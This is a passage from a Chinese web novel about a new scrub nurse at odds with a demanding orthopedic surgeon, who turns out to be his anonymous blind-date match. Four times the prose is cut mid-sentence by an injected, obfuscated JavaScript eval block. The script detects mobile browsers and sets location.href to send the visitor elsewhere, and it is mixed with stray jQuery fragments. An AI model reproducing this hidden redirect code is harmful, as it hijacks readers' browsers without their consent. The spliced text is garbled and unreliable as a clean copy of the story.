他只是恶心想吐,远没有难受到无法继续手术的地步,忍一忍就好用不着换人。
而且这个时候离开对病人很不负责。
秦禾笙看了他一眼,没说什么。
倒是俞钰刚才一直没留意的三助走过来,安慰他说:“安啦没事的,从前骨科手术室还经常煮排骨呢,这是小意思。”
实在不知道这是安慰还是火上浇油的俞钰:“……”
他难受到几乎热泪盈眶,看着不知道怎么做了这台手术三助的叶竹小声说:“少讲两句吧。”
叶竹的目光扫过手术室,这时候大家都在等医学灭活没什么事情,秦禾笙也低头思考似乎没有留意到他们这边的样子,就大着胆子小声安慰好像快哭出来的俞钰。
“从前骨科手术室里经常煮排骨,别害怕,适应适应就好。”
俞钰:“……”
别说了可以吗。
但叶竹某些方面很直男,共情不了别人的想法,也没看出俞钰拼命使眼色是让他不说,依旧小声跟俞钰解释:“从前义肢还没那么广泛使用的时候,骨瘤手术都是把骨头取下来煮一煮再装回去,众所周知癌细胞不耐高温,而腿骨基本都由钙组成不怕高温,因此煮
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996178|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一煮就好,从前的骨科手术室里经常煮骨头,标配还有高压炖锅呢。”
“只是后面发现煮过的骨头再装回去会变得很脆,因为高温不止杀死癌细胞也会让骨胶原蛋白失活,这样骨头的韧性没有了,后面才慢慢不用这种方法,改成直接装义肢。”
“但今天做手术的老大爷比较轴,不接受3D打印的义肢要用自己原装的腿,主任就想出用60℃的高渗盐水杀死癌细胞,并且尽量保留腿骨里蛋白质的活性,让骨头不至于变得太脆。”
俞钰:“……”
可真是谢谢啊,并不是很想了解得这么详细。
他身为器械护士,了解一下手术的大致流程,手术中留意主刀的手术视野和手势及时传递器械就可以,真不想知道这些细节的手术事情。
尤其是什么煮排骨!
经过叶竹的一通反向操作,如果说俞钰刚闻到排骨味时只是恶心想吐,那现在就真的心如死灰想离开手术室。
万幸叶竹讲完后没多久,灭活的过程就结束,秦禾笙接过腿骨开始进行血管蒂腓骨重建。
这是骨科手术中一个很精细的操作,秦禾笙一声不吭地低头工作,无影灯照在他冷漠锐利的眼睛里,目光格外专注。
他低头操作了很久,再抬头的时候慢慢从台上走下去,并且交代助手进行接下来的工作。
俞钰知道,这台手术只剩下一些收尾的事情,一助缝合,二助打下手,三助在旁边打杂。
秦禾笙已经完成这台手术的主要操作,慢慢离开无菌区域脱掉手术服。
此时已经是下午一点多,他要赶去门诊那边,郑呈益下午的手术会由其他人接手。
看到冷漠不苟言笑又压迫感极强的主刀要离开,大家都松了口气,一助开始跟二助聊天,巡回护士在和旁边观摩学习的实习生说话,叶竹也话多起来。
气氛慢慢变得轻松愉悦。
叶竹看着正在清点器械确定没有遗落纱布什么的俞钰抱怨:“你刚才都没认出我,亏我还跟你打招呼呢。”
俞钰:“讲道理,你穿成这样,头发和大半边脸都被挡住,我第一眼没认出你很正常吧。”
尤其是当时叶竹还跟在秦禾笙身后,他注意力全在要搭台的主刀身上,压根没留意到三助。
就好像没有人会留意月亮旁边的星星一样,目光都被月亮吸引。
“可是我就认出你了。”叶竹觉得这不公平,“你认不出来我。”
俞钰没什么诚意地回答:“下次一定认出你。”
叶竹听后,刚想张口抗议这个一点诚心都没有的回答时,已经走到手术室门口准备离开的秦禾笙转头,看着俞钰的方向说:“器械护士要尽力提高专业素养,不要整天想着摸鱼和在手术中闲聊。”
俞钰愣住,脸上一阵发烫,羞恼交加。
手术室聊天活跃气氛怎么了,这不是很正常的事情吗。
多得是医护做手术的时候聊天,为什么到秦禾笙这里就不行,还专门点名批评器械护士?
真的是吹毛求疵,控制-欲超强。
俞钰难以理解,一个人怎么能讨厌成这样。
5. 长辈
龟毛,真的太龟毛了,脑子有病吧。
秦禾笙那天果然是听到他跟曹青柠的口嗨,真的把口嗨当回事。
该是多么脑子有病的领导,才会把下属的口嗨当成一回事。
秦禾笙自己就不摸鱼不闲聊吗。
咦?
等等,秦禾笙这种超级自律的卷王好像真的不摸鱼不闲聊。
不过,这也掩盖不了他无缘无故被训的事情。
而且俞钰想不懂他专业素养怎么不好了,是耽误手术还是如何,他有真的摸鱼吗,秦禾笙就贷款训人。
手术中闲聊也很正常吧,他在别家医院实习的时候,性格开明又经验丰富的主刀还会教他们手术里的等待时间,怎么用脚玩手机。
就是秦禾笙吹毛求疵控制-欲强要求高,手术室里才不闲聊,制造高压环境,让其他医护心理压力很大。
好可恶的主刀,脑子绝对有大病。
诅咒他在医院点外卖的时候永远没有送餐具。
俞钰内心诅咒一番,终于气顺了些。
此时病人已经缝合完毕,叶竹正跟二助一起合力将病人推出去,俞钰则等着吃手术餐,吃完后还要重新拿一套手术器具,重新做无菌消毒操作,等待下一台手术。
器械护士下班永远没有正点,传说中的五点下班几乎不存在,俞钰当晚加班到晚上七点多,不算太晚,他还有力气在小区外的小吃店吃个晚饭再回家。
当然,晚饭坚定拒绝排骨,他现在只要一想到排骨还是会反胃。
到家后他就累瘫在沙发上。
器械护士忙是忙了些,经常站着,午饭和下班时间也总没个正点,但俞钰选方向的时候还是选择做器械护士,因为这份工作几乎不用跟病人和病人家属打交道,工作环境简单夜班也很少,每天总还是能回家休息。
慢慢熬一熬,成为N2级护士后,排班也会变得正常很多。
但是要熬。
熬的路上也许有不友善的同事,让人恶心的领导。
对,他现在就碰到一个。
很多时候,主刀医生也算器械护士的半个领导,他貌似上班第一天就没在领导眼里留下个好印象。
他开始搜索:
【上班第一天就得罪领导该怎么办】
答案千奇百怪五花八门,有个很逗的答案大约是——
【得罪了领导没关系,因为没过几天就会发现你的领导其实是个傻叉,因为基本所有的社畜都会觉得自己的领导是个傻叉】
俞钰看后不禁笑了,悄悄想着秦禾笙很傻的样子
……嗯,蛮搞笑的。
他又把自己哄好,开心去听广播剧。
什么事情都不能影响他休息时的开心快乐。
不,还有一件。
晚上九点多,家里的太后大人崔婧给他发消息:你爸那边又找到一个资源,等对方确定了就给你介绍
太后大人:放心吧,这次肯定靠谱,那孩子除了比你大几岁外没缺点
太后大人:小伙子长得又高又帅,据说是当外科医生的工作和收入都很好,跟你也有共同语言
俞钰看到崔婧的话,提取重点问:多大呀?
太后大人模糊言辞:据说三十来岁吧
俞钰:……大太多了吧
最起码大他八岁,感觉毫无共同语言。
俞钰继续诚恳发问:而且身材相貌工作收入都很好的医生,为什么会单身到三十来岁?
要么工作有问题,要么人有问题。
医生在相亲市场上很受欢迎,毕竟工作稳定收入不错,社会地位也很好,很多优秀的医学生还没毕业就结婚了。
如果一个各方面条件都不错的医生真的单身到三十来岁,那八成是凭实力单身,有点什么大问题的那种。
太后大人:具体的也不太清楚,据说是工作太忙一直没时间找
太后大人:嘟嘟呀,大点没关系,年龄大了才懂得疼人,才会让着你
太后大人:妈还不了解你?到家就往沙发上一躺什么活都不干,不找个年龄大点会疼人能帮你做家务的,你俩不得天天吵架
俞钰:我可以请钟点工
他的工资还是能请得起钟点工。
俞钰:如果真的是很忙的医生,也不一定有时间帮我做家务吧
不说别人,就说他们组那个卷王,按照叶竹说的上下班时间来算,估计到家直接睡觉没空做家务,家里应该乱成猪窝。
俞钰不怀好意地想着。
秦禾笙这么忙的人要是有空做家务,他的名字倒过念。
崔婧一看忽悠不住,干脆不装了,直接说:我说的情况也都是听介绍人提起,具体的要你自己聊聊才知道
太后大人:过两天先把他的号发你,你试着聊一聊,如果不合适就算了不强求
俞钰对谈恋爱这件事情兴趣缺缺,觉得好累好麻烦,不过为了应付母上他还是说:到时候先聊聊看吧
嘴上说聊聊看,实际上俞钰连对方的照片都没兴趣要,因为这一听就是个凭实力单身的人。
没点大毛病,工作很好的外科医生怎么会单身到三十来岁,说不定介绍人夸大了外貌和身材条件。
而且至少比他大八岁,快跟他们组卷王一个年纪,像是差辈分。
他不想找个活爹。
**
次日中午的午休时间,秦禾笙接到他博士时的导师打来的电话。
“禾笙呀,这会忙不忙?”
秦禾笙一边看叶竹写的手术记录一边说:“不忙,老师您有什么事就说吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996179|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>彭教授:“你爸来找过我好几次,特别关心你的终身大事,妥协一样跟我说‘哪怕喜欢同性也要找一个,将来不至于孤孤单单没人陪’。”
“正好我一位老朋友的儿子也喜欢同性,小男孩挺乖挺漂亮,家里世代学医,从小耳濡目染,再加上他自己也是跟医学相关的专业,应该跟你很有共同语言。”
“彭教授。”秦禾笙婉拒:“我暂时没空考虑感情的事情。”
“你都升副高,晚上不用一线值班可以出去约会,是时候考虑感情的事情。”彭教授苦口婆心地劝:“再不考虑就快考虑不动。”
秦禾笙:“……不至于。”
“这样吧。”彭教授仿佛没听出秦禾笙的拒绝,“我把你的号给那个男孩让他来加你,你们可以先聊聊,如果聊得好就约见面,聊不好就算了,我也不强迫,你看行么?”
秦禾笙揉了揉额角,有些头疼。
他其实现在真的不想考虑感情的事情,他更喜欢专注临床工作,专注科研工作,是名副其实的工作狂人。
他更喜欢发表论文的成就感,科研项目成功的自豪感和手术成功的满足感。
这些才是让他肾上腺激素飙升,身体分泌多巴-胺同时带来愉悦的事情。
至于感情,麻烦又耽误时间,他确实一点兴趣都没有。
今天如果换个人来说,哪怕是他父亲他也可以直接拒绝,但彭教授不行。
他博士时期的论文是彭教授一手带出来,对方在他读书期间帮过他很多次,深夜帮他改论文,查资料和审项目,曾经比他的亲生父亲对他都要好。
对方开口他真的不好断然拒绝。
因此他只能说:“随您。”
跟俞钰一样,秦禾笙现在也对相亲没兴趣,因此连照片都没要,打算真的有人来加他就冷处理随便说两句,之后再找借口拒绝,好全了彭教授的面子。
说完这两个字,他忽然想起什么,问彭教授:“您说的‘男孩’,到底有多小?”
为什么会用“小男孩”来形容?
“放心成年了。”彭教授立刻说:“二十出头,刚大学毕业。”
二十出头,跟那个名叫俞钰的器械护士差不多大。
昨天手术后秦禾笙走出手术室时,看了眼贴在墙壁上护士名单,负责第二手术室的器械护士名叫俞钰。
秦禾笙合理提出质疑:“会不会太小了?”
“年纪小点的才性格活泼些。”彭教授立刻说,“要是找个跟你差不多大的,说不定性格和你一样冷淡沉默,加上好友后发个‘你好’就都不说话了。”
这个理由很完美,秦禾笙表示无话可说,让彭教授去安排。
谈恋爱是不可能谈恋爱的,同意加好友只是为了应付长辈。
和俞钰一样。
6. 不会
收到崔婧发来的联系方式时,俞钰正靠在手术室里睡觉。
器械护士的日常就是被困在手术室,中午吃完医院发的手术餐后靠着手术室的墙壁睡一下。
下午一点半的闹钟准时闹醒手术室里所有人,今天使用骨科第二手术室的是另外一位何副高,何副高今年四十来岁,手术经验十分丰富,人比较大气随和,还会教俞钰这种新来的护士靠在哪个角落睡会舒服点。
一点半醒来后,何副高的规培生拎着咖啡进来,给每个人分一杯。
俞钰一边喝咖啡一边低头看消息,看到崔婧发来的联系方式后回了句“知道”就放下手机。
至于加好友?
他现在哪里有空,周末再说吧。
**
两天后的周五,又是秦禾笙的手术日。
前一天晚上下班前,俞钰看着第二天大大小小足足七台的手术安排陷入沉思。
这家伙不是刚援藏回来吗,哪来这么多病人等着做手术。
可恶。
太卷了吧,三天就收了这么多要做手术的病人,他到底看了多少个门诊号。
俞钰叹着气,几乎可以想到明晚加班的场景。
就不能让他早下班吗,他不想对着龟毛领导那张脸,用加班渡过周五的晚上。
次日,病人一个接一个被抬进来。
秦禾笙做手术时像个标准的手术机器人,操作是教科书式的完美,就连觉得头顶的无影灯位置不对也不会自己动手调节,而是请巡回护士帮忙,哪怕无影灯的灯柄上缠着蓝膜。
当然,跟这种主刀一起做手术压力也会很大。
因为对方太完美了,生怕自己哪里做得不好。
不容易熬到午休时间可以吃手术餐,俞钰终于松一口气。
叶竹拿来两份盒饭跟俞钰挤在角落,将其中一份递给俞钰后,俩人一边吃一边聊。
叶竹先问:“你周末回家吗?”
俞钰知道这个“回家”是问回不回他爸妈那边。
“不知道,看情况吧。”俞钰想了想:“主要看我还有没有电量。”
叶竹:“……那不用想,肯定是没有的。”
俞钰“噗嗤”笑了下,转头问:“那你呢,回不回去?”
“没空。”叶竹撇嘴,“规培牲哪有空回家,材料写完了吗,病例写完了吗,论文搞定了吗,哪里有空坐车回家。”
俞钰跟叶竹彼此对望,都觉得太难了。
吃完饭,叶竹习惯性地帮俞钰把餐盒给扔了,还抽出纸巾帮忙擦嘴。
倒不是有什么暧昧,纯粹是小时候照顾习惯了。
他们小时候家长喜欢让大孩子照顾小孩子,叶竹大两岁是大孩子,六岁的叶竹还给四岁的俞钰盖过被子。
儿时像是大哥哥一样的友谊,很单纯。
擦嘴的时候,叶竹莫名觉得有人在看自己,但回头看又什么都没发现。
吃完饭,叶竹跟俞钰一起靠在角落睡觉。
俞钰很快就睡着,头不自觉枕在叶竹的肩膀处。
叶竹有点痒,皱眉想把俞钰推开,可惜轻轻推了两下没推动,又不好太用力。
叶竹撇嘴,勉强忍下这种脸颊被发丝挠,睫毛还偶尔擦到脸的感觉,低低说了句:“睫毛精。”
俞钰的睫毛很长,从叶竹的角度看又卷又翘,比游戏建模人物的睫毛都要好看。
他看了两眼,正想继续睡觉时,那种被人看的感觉又来了。
他奇怪地朝着那道目光的方向转头,发现那边只有一个人——秦禾笙。
秦禾笙正低头在记事本上写东西,压根没抬头看他,好像这一切都是他的错觉。
叶竹:“……”
真的是错觉吗?
可能吧,别人有没有看自己这件事情本来就很玄学。
短暂的午休很快就过去,手术室里的人又要进行下午的手术。
下午的第一台是颈椎手术,俞钰全神贯注留意秦禾笙的视野,及时配合主刀。
他看着秦禾笙的动作,直觉接下来要用钳子,下一秒就看到秦禾笙向他伸手。
他递出一把手术钳。
秦禾笙看了眼但没有接,冷声说:“枪状咬骨钳。”
这并不是一个基础器械的名字,属于骨科专属的器械包。俞钰大学的时候学过也见过图片,实操课的时候也见过实物,但不知道是不是很久没有接触的原因,他对着满台子的器械竟然一时间认不出来。
做三助的叶竹发现他的窘境,立刻提醒:“左一排第二个。”
俞钰飞快把器械递过去,咬着嘴唇心里不是滋味。
秦禾笙低头用钳子夹住病人的骨头,让做住院医的一助在旁边打下手。
几分钟后,俞钰听到秦禾笙又说:“羊角钩。”
这个器械的名字俞钰记得,实习的时候递过几次,但不知道是不是因为刚才的事情心情紧张,他听到后大脑一片空白,不知道如何反应。
秦禾笙出声提醒:“左三排第二个。”
俞钰立刻把羊角钩递过去。
秦禾笙低头用羊角钩夹骨头,之后固定。
几分钟后放射性仪器开启,所有医护都站远些。
俞钰今天两次认不出器械的名字,站在无菌区域边缘,心情很低落。
等候的时间里,站在他身边的秦禾笙忽然问:“手术前没有清点器械?”
“清点了,可是……”
今天排的手术实在太多,时间很紧,他只来得及把器械放好,还没来得及辨认不熟悉的器械,秦禾笙就开始主刀。
骨科的专属器械太多了,刚入职五天的俞钰还没有认全。
其实别说他了,N1级别的护士偶尔也会遇到不认识的器械。
但再多的理由也掩盖不了他缺乏经验的事实,解释显得苍白无力。
他垂头丧气道:“对不起,我一定努力改进。”
训吧,你这个吹毛求疵,又喜欢贷款训人的主刀一定会严厉批评他,说不定还要骂人,能把人骂emo的那种。
俞钰抿紧嘴唇,做好心理准备。
出乎意料的是他都准备了好几分钟,也没听到秦禾笙训人。
他侧头悄悄打量身边秦禾笙的表情,对方目光专注地看着不远处的仪器和病人的生
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996180|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
命指征,似乎没有揪着刚才事情不放的意思。
几分钟后放射性仪器停止运行,手术继续。
术后,一助和二助正在进行收尾工作,秦禾笙低头跟叶竹说些什么,俞钰在清点器械。
清点器械是器械护士在手术完成以后非常重要的工作,要确保器械或者手术中用到的纱布等东西没有遗落在病人身体里。
他很快就清点完,对着用过的器械思考。
其实这里面还有几样他不记得的,正想问更有经验的巡回护士这些是什么时,身边传来秦禾笙的声音。
“这是髓核钳,和枪状咬骨钳很像,但顶端有开叉。”
“这是……”
秦禾笙一样一样地给俞钰介绍那些不太常见的骨科手术器械。
俞钰安静听着。
秦禾笙的脾气好像也没那么糟糕。
讲完后,俞钰道谢:“谢谢秦副高。”
他话音刚落,秦禾笙又补上一句:“最好阅读骨科手术相关书籍,比如Wiesel的骨科手术学等,增加专业知识。”
俞钰:“……”
他只是个器械护士,知晓器械名字,了解手术中怎么用,跟主刀做好配合就可以,没必要看骨科手术书籍,知晓骨科手术具体怎么做吧。
他对当骨科医生一点兴趣都没有,不想牺牲下班时间继续学习。
秦禾笙果然还是那个秦禾笙,要求依旧极高。
“知道了,秦副高。”
知道是知道,看不看就不一定了。
一天的手术时间终于熬过去,俞钰一屁股坐在地上,发丝散落在额前,大眼睛里没有神采,累得毫无形象。
叶竹也一屁股坐在他身边,顺手揉了揉俞钰的头发,开始控诉:“刚才午休的时候,你头发一直在挠我,知道吗?”
“不知道。”俞钰无奈地回答:“别揉我头发了。”
叶竹这家伙从小就手不老实爱揉他的头发,说他头发特别软特别好玩,这个习惯延续到现在。
叶竹不听反对意见,手欠还要继续揉,俞钰拍掉他的手,俩人在手术室里笑闹起来。
就在俞钰抓住叶竹的手让对方别揉了的时候,已经走到门口的秦禾笙忽然转头看着手术室病床的方向说:“不要在手术室嬉笑打闹,这里不是你们玩闹的地方。”
俞钰和叶竹二人的动作顿时僵在原地。
俞钰决定收回刚刚认为秦禾笙人还可以的想法,分明苛刻到极点。
这都做完手术要下班了,他们在手术室里开个玩笑,笑闹下怎么了。
他们是损坏病床,还是撞倒了手术室器械,至于这么小题大做?
他从前下班后也不是没跟别人在手术室里开玩笑过,通常主刀和护士长都不会说什么,只有最苛刻最挑剔,最喜欢往其他人身上撒气的领导才会训斥批评。
对,就是秦禾笙这种领导。
秦禾笙是怎么做到让人讨厌得牙痒痒?
俞钰到家后开始思考这个问题。
以及,他上班刚五天就喜提两次领导的批评,且全部来自于秦禾笙。
他们一定气场不和。
7. 不看
周五的晚上总是不想睡觉,想让夜晚更长些。
俞钰躺在沙发上一边对着电视看剧,一边刷刷手机,一心多用。
晚上九点多,宿舍群里传来消息,宿舍老大@他,问他上班一周感觉如何。
俞钰想着这上班一周的事情,在群里面问:上班五天,被领导训了两次该怎么排解?
老大:什么,你才被训两次?
老二:好幸福呀,你才被训了两次
宿舍里最小的俞钰发了一连串的问号。
什么,他这样居然还算是幸福的?
忽然觉得,有被安慰到。
老三:@老幺,你是怎么被训?
老幺:手术里不小心走神几秒钟,下班后在手术室跟人笑闹,主刀就点名批评让我注意
老二:你这算啥,我有次吃午饭稍微慢点,没有五分钟吃完,差点被领导骂自闭
老幺:……?
老幺:贵领导还好吗,是不是脑子有点什么大病?
老二:淡定,习惯就好,有的主刀做手术时就是脾气不好,不能往病人身上撒气,就往我们这种医护身上撒气
老三:周五的时候,主刀把来实习的巡回护士骂哭了
老幺:……听了你们说的,忽然觉得我都还好了
秦禾笙也就当时说了他两句,之后没有任何表示,甚至好像都没有找主任护士说什么。
果然,人要有比较才会有安慰。
老大:来吧,开个批判领导大会
老大:首先明确一件事情,所有领导都是傻的
老三:+1
老二:+2
老幺:+3
在宿舍群里吐槽一通,听同学说自己的领导有多么脑-残之后,俞钰忽然觉得还好了。
最起码秦禾笙没有做什么找主任护士告状,让主任护士骂人扣绩效这种事。
唔,但这也改变不了秦禾笙很讨厌的事实。
而且他们气场不和,以后对这种人还是敬而远之吧。
**
周六,俞钰好不容易休息一天,早上十点还躺在床上连早饭都懒得起床吃,正在浏览外卖软件,给自己点个早午饭。
点完餐他收到叶竹的消息,问他周末要不要加班。
提起这个俞钰就心情不太好,表示:周日下午要去值班,熬个小夜
叶竹:如果你听到我今早六点多爬起来,七点多跟着卷王学查房,心情应该会好很多
俞钰看笑:好像心情确实好了
果然幸福感都是比较出来的。
叶竹:我现在正在改昨天的手术记录,卷王说我写的不够精确,时间和步骤都不准,糊弄了事
俞钰:不愧是规培牲
还真是当牲口用。
叶竹:昨天做那么多手术,我脑子都是糊的,现在完全不记得
俞钰:那怎么办?
叶竹:我正在行政这边看手术室的监控重新找做记录,这里面的苦谁懂呀
叶竹:强烈怀疑卷王看我不顺眼,故意找茬为难
叶竹:[骷髅] [骷髅] [骷髅]
俞钰:别怀疑,我觉得他就是看我们两个都不顺眼
俞钰:他昨天在手术室里让我看的书,我到家后查了下
俞钰:你知道吗,那套书总共有九本,每本的厚度都能当板砖砸人
俞钰:完完全全的有生之年系列
叶竹:抱头痛哭.jpg
叶竹:不说了,我还在看监控
俞钰放下手机起床洗漱,准备吃早午饭。
吃着饭,俞钰在想一会看什么剧时,又收到崔婧的消息。
太后大人:嘟嘟呀,加联系方式了吗?
俞钰:……之前忙一直没空
太后大人:现在周六总有空了吧
俞钰:哦
太后大人:记得加哦,跟人家好好聊聊
俞钰看着消息叹气,还是回:知道了我会加
**
周六早上,叶竹终于快速翻完监控,继续写手术记录。
秦禾笙去开会研究手术方案,让做住院医的手术二助指导叶竹。
叶竹写得苦不堪言,绝望问二助:“泽哥,秦医生对谁都要求这么高吗?”
真的不是在针对他吗?
泽哥表示:“是的你不要怀疑,我实习的时候写病历,秦医生直接说我不要发挥没必要的文采,简明扼要讲清楚事情就可以,没人想看医生写散文。”
“然后让我全部重写。”
叶竹:“……”
原来大家都一样苦。
“安心写。”泽哥安慰他:“秦医生虽然要求高,但是真的会教你怎么做,还会告诉你怎么改,在他手下可以学到东西。比那种吹毛求疵还不告诉你怎么改,只会骂人的领导好多了。”
叶竹:“……好有道理。”
他有被安慰到,因为他真的碰到过那样的教授,就比如说他某门专业课的教授,要求贼高还不告诉学生怎么改,问就是发邮件骂你一通。
叶竹这边苦哈哈继续改,秦禾笙那边刚加班开完会诊会议,离席的时候主任护士走在他身边,就顺道聊了起来。
主任护士?沈慧岚问秦禾笙:“秦医生觉得我们新来的几个护士怎么样?”
秦禾笙:“都还可以。”
沈慧岚不信:“真的吗?我听说你还批评过几个。”
秦禾笙纠正道:“不是批评,是提醒。”
“听说你还训了新来的器械护士两次?”沈慧岚笑问:“怎么,觉得他不太好?”
秦禾笙摇头,语气很平静:“不是训。他很好,只是刚工作缺乏些经验,别的都没问题。”
说话间秦禾笙已经走到办公室门口,道别后走进办公室。
开会一个小时的时间,他手机上就有很多消息和未接来电,在工作号上把重要的事情一一处理后,点开私人号。
上面有父亲问他回不回家吃饭的消息,从前高中同学找他在线问诊等等。
还有几个好友
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996181|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
申请。
其中一条申请写得非常直白——你好,来相亲
秦禾笙想着彭教授说的话,通过了这条好友申请。
**
俞钰吃完饭,看到好友申请被通过的消息,通过后对方一个字也没说,看模样应该是也对他没什么兴趣。
不知道是眼光太高,还是压根就不想相亲。
之前听崔婧说的外在条件,他直觉这个第四位相亲者应该就跟他从前碰到的三个一样有点什么大问题,因此加好友的时候也说得很直白,一种摆烂的态度爱咋咋地。
一个三十来岁,又高又帅事业有成的医生怎么会没对象呢,肯定有点什么大问题。
咦,等等,卷王好像就是三十岁出头,又高又帅事业有成且没结婚的医生。
凭良心说除了太卷看不出什么大问题。
俞钰:“……”
周末时间他不想回忆秦禾笙那张冷脸。
谢绝代入,不要代入。
俞钰看着没发一个字的聊天对话框,觉得对方可能也不太想聊,正好他也不想聊,俩人在这点上一拍即合。
只可惜如果加完好友一句话都不说,没办法跟崔婧交差。
如果聊了,但没聊到一起去,还可以跟崔婧说性格不合,这点崔婧不会勉强。
但没有聊的话,崔婧一定会催。
想了想,俞钰还是决定主动发几句。
他点开那个人的对话框,发现这人的头像是一本外科书籍,名字叫“此号不看病”,感觉像是被人当免费医生用太多次,不胜其烦。
俞钰偷笑,终于找到几分人间烟火气。
加都加了还是说几句话吧。
其实他也不知道怎么聊,就硬聊吧,最好聊不到一起去好跟崔婧交差。
不要叫我小名:你好.jpg
不要叫我小名:在做什么呀?
过了几分钟,对方回:加班
俞钰记得叶竹说卷王好像也在加班,都这么忙吗。
不要叫我小名:哇,你好忙呀,经常加班吗?
此号不看病:几乎每天都加班
俞钰:“……”
不是,这加班的劲头怎么跟卷王那么像。
三十来岁又高又帅还单身的医生,真不多呀,条件这么符合不会就是卷王本人吧。
他被吓得一个激灵,相亲相到领导头上是什么现实版的恐怖片。
他连忙点开医院的工作群,在里面找秦禾笙的账号。
医院的工作群通常是由护士长通知事情,大家不闲聊,因此消息基本都是护士长发,其余人在潜水,俞钰进群后只看过通知没看过群成员都有谁,也就没留意秦禾笙的号是什么样。
现在他去群里翻,终于在前几个账号里看到秦禾笙的名字。
秦禾笙的头像是一张雪景,名字非常直接,就叫骨科秦禾笙。
俞钰看到后松了一口气,从头像到名字都不一样,并且跟他不是好友关系。
肯定不是同一个人。
8. 开导
确定不是同一个人后,俞钰放心不少。
不过他看着屏幕上的话,又觉得聊不下去。
对方在加班他也不好打扰,就只发了一个加油工作的表情。
对方没回,估计不想回这么没有营养的消息,他也不在意,放下手机继续躺倒。
大好周末为什么要硬聊呢,看看剧休息休息不香吗。
**
周一工作时,俞钰出了个不大不小的错误,又是在手术中遇到不熟悉的器械没有第一时间想起,被主刀骂得狗血淋头。
这是新手器械护士常有的错误,一般情况下有经验的医生或者护士会进行提醒,通常不会耽误手术的进程,俞钰今天也没有耽误。
但今天做手术的主刀脾气很不好,也许再加上手术压力大,就揪着俞钰的错处不放,连“不会做就滚”这种话也说出来。
手术结束后,俞钰的心情低落了很久。
有被骂的抑郁,也有觉得自己没用的伤心。
他们家几代人学医,他的亲生哥哥也是一位优秀的外科医生,都把对病人负责刻到骨子里,手术中发生这种事情他也很难过,觉得自己很没用,明明都实习半年,真正工作的时候还是会紧张和忘记。
但被人指着鼻子骂是真的会抑郁,很久很久都走不出来。
今天的手术结束后,他一个人留在手术室里清点器械,心情说不出的低落。
他拿出手机想找人说话,又不知道该找谁。
父母没办法共情他,叶竹开玩笑还可以但不太会安慰人,宿舍里的同学也都很年轻……
思来想去,他决定给亲哥哥发条消息:哥,我今天被主刀骂得好惨
等了几分钟他哥没回,估计又是在做手术。
他哥是神外的医生,只会比他更忙,大概率没空做心灵导师安慰人。
晚上七点多,俞钰独自一个人站在手术室里,头顶的吊灯将他的影子拉得很长,也很孤单。
他拿出记事本,对着手术室墙壁上的器械图谱一样一样地用笔记录,然后背诵,他认真背着,没有留意到手术室门口站了一个人。
秦禾笙原本想进手术室拿一个器械,不想却撞见俞钰对着记事本记录手术器械。
俞钰看着墙上的器械图谱,俊秀又带着少年感的脸上满是认真。
也许因为是下班时间,他没有穿护士服,穿的是自己的常服,简单的黑色T恤搭配浅蓝色牛仔裤,恰到好处地勾勒出他清瘦的身形,干净利落,挺拔得仿佛林间的翠竹。
这似乎是他第二次看到俞钰穿常服的样子。
他安静地看了一会,没有出声打扰,转身去第四手术室拿器械。
俞钰当晚加班到晚上九点多,终于背完所有器械,开车回家。
到家后他歪在沙发上,还是做什么都提不起精神。
唉,遇到这种事情怎么开解自己呢?
真的好想骂回来呀。
郁闷之下他又拿出手机,发现老哥还是没给他回消息。
估计手术没做完,真忙,最起码比他忙多了。
俞钰又觉得他还好,最起码没有一周七天几乎不回家的状态。
他滑动着聊天界面的对话框,不知道该找谁说,也不知道谁能理解这种事情和状态,谁能开解他。
他的手指滑来滑去,最终落在那天跟第四位相亲对象的对话框上。
要不然找这位免费的陪聊对象聊一聊?
如果对方不理他,那就可以跟崔婧说他们聊不来,如果理的话,对方那么多年医生经验,应该能开解他。
当然如果对方不说人话,那就臭骂一顿立刻拉黑。
这么想着,俞钰发了个探头探脑的表情。
不要叫我小名:好奇问下,你是不是外科医生?
不要叫我小名:做手术的时候会不会经常骂人?
